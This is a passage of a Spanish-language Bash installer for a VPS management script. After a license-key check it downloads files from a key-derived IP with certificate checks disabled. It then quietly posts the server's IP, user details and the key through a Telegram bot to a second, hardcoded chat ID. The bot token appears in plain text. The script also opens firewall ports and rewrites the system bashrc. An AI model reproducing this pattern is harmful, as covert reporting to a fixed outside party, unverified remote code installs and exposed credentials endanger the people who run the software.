  447. wget -O /var/www/html/estilos.css https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/estilos.css &> /dev/null
  448. [[ -f "/usr/sbin/ufw" ]] && ufw allow 443/tcp &>/dev/null; ufw allow 80/tcp &>/dev/null; ufw allow 3128/tcp &>/dev/null; ufw allow 8799/tcp &>/dev/null; ufw allow 8080/tcp &>/dev/null; ufw allow 81/tcp &>/dev/null
  449. clear
  450. msg -bar2
  451. msg -ama " [ SCRIPT \033[1;97m MOD LACASITAMX\033[1;33m ]"
  452. msg -ama " \033[1;96m 🔰Usar Ubuntu 20 a 64 De Preferencia🔰 "
  453. msg -bar2
  454. [[ $1 = "" ]] && funcao_idioma || {
  455. [[ ${#1} -gt 2 ]] && funcao_idioma || id="$1"
  456. }
  457. error_fun () {
  458. msg -bar2 && msg -verm "ERROR entre VPS<-->GENERADOR (Port 81 TCP)" && msg -bar2
  459. [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
  460. exit 1
  461. }
  462. invalid_key () {
  463. msg -bar2 && msg -verm " Code Invalido -- #¡Key Invalida#! " && msg -bar2
  464. [[ -e $HOME/lista-arq ]] && rm $HOME/lista-arq
  465. rm -rf lista-arq
  466. exit 1
  467. }
  468. while [[ ! $Key ]]; do
  469. msg -bar2 && msg -ne "\033[1;93m >>> INGRESE SU KEY ABAJO <<<\n \033[1;37m" && read Key
  470. tput cuu1 && tput dl1
  471. done
  472. msg -ne " # Verificando Key # : "
  473. cd $HOME
  474. wget -O $HOME/lista-arq $(ofus "$Key")/$IP > /dev/null 2>&1 && echo -e "\033[1;32m Ofus Correcto" || {
  475. echo -e "\033[1;91m Ofus Incorrecto"
  476. invalid_key
  477. exit
  478. }
  479. IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" > /usr/bin/venip
  480. sleep 1s
  481. function_verify
  482. updatedb
  483. if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq|grep "Code de KEY Invalido!") ]]; then
  484. msg -bar2
  485. msg -verd " $(source trans -b es:${id} "Ficheros Copiados"|sed -e 's/[^a-z -]//ig'): \e[97m[\e[93m@conectedmx_bot\e[97m]"
  486. REQUEST=$(ofus "$Key"|cut -d'/' -f2)
  487. [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal}
  488. pontos="."
  489. stopping="Descargando Ficheros"
  490. for arqx in $(cat $HOME/lista-arq); do
  491. msg -verm "${stopping}${pontos}"
  492. wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" || error_fun
  493. tput cuu1 && tput dl1
  494. pontos+="."
  495. done
  496. wget -qO- ifconfig.me > /etc/VPS-MX/IP.log
  497. userid="${SCPdir}/ID"
  498. TOKEN="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
  499. URL="https://api.telegram.org/bot$TOKEN/sendMessage"
  500. MSG="👇= KEY INSTALADO =👇
  501. ╔═════ ▓▓ ࿇ ▓▓ ═════╗
  502. - - - - - - - ×∆× - - - - - - -
  503. User ID: $(cat ${userid})
  504. - - - - - - - ×∆× - - - - - - -
  505. Usuario: $(cat ${SCPdir}/message.txt)
  506. - - - - - - - ×∆× - - - - - - -
  507. IP: $(cat ${SCPdir}/IP.log)
  508. - - - - - - - ×∆× - - - - - - -
  509. KEY: $Key
  510. - - - - - - - ×∆× - - - - - - -
  511. By @alexmod80
  512. - - - - - - - ×∆× - - - - - - -
  513. ╚═════ ▓▓ ࿇ ▓▓ ═════╝
  514. "
  515. activ=$(cat ${userid})
  516. curl -s --max-time 10 -d "chat_id=$activ&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
  517. curl -s --max-time 10 -d "chat_id=605531451&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
  518. rm ${SCPdir}/IP.log &>/dev/null
  519. msg -bar2
  520. listaarqs="$(locate "lista-arq"|head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs
  521. cat /etc/bash.bashrc|grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' > /etc/bash.bashrc.2
  522. echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >> /etc/bash.bashrc.2
  523. mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
  524. echo "${SCPdir}/menu" > /usr/bin/menu && chmod +x /usr/bin/menu
  525. echo "${SCPdir}/menu" > /usr/bin/VPSMX && chmod +x /usr/bin/VPSMX
  526. echo "$Key" > ${SCPdir}/key.txt
  527. [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
  528. [[ ${#id} -gt 2 ]] && echo "es" > ${SCPidioma} || echo "${id}" > ${SCPidioma}
  529. echo -e "${cor[2]} DESEAS INSTALAR NOTI-BOT?(Default n)"
  530. echo -e "\033[1;34m (Deves tener Telegram y el BOT: @LaCasitaMx_Noty_Bot)"
  531. msg -bar2
  532. read -p " [ s | n ]: " NOTIFY
  533. [[ "$NOTIFY" = "s" || "$NOTIFY" = "S" ]] && NOTIFY
  534. msg -bar2
  535. [[ ${byinst} = "true" ]] && install_fim
  536. else
  537. invalid_key
  538. rm -rf LACASITA.sh lista-arq
  539. fi
  540. rm -rf LACASITA.sh lista-arq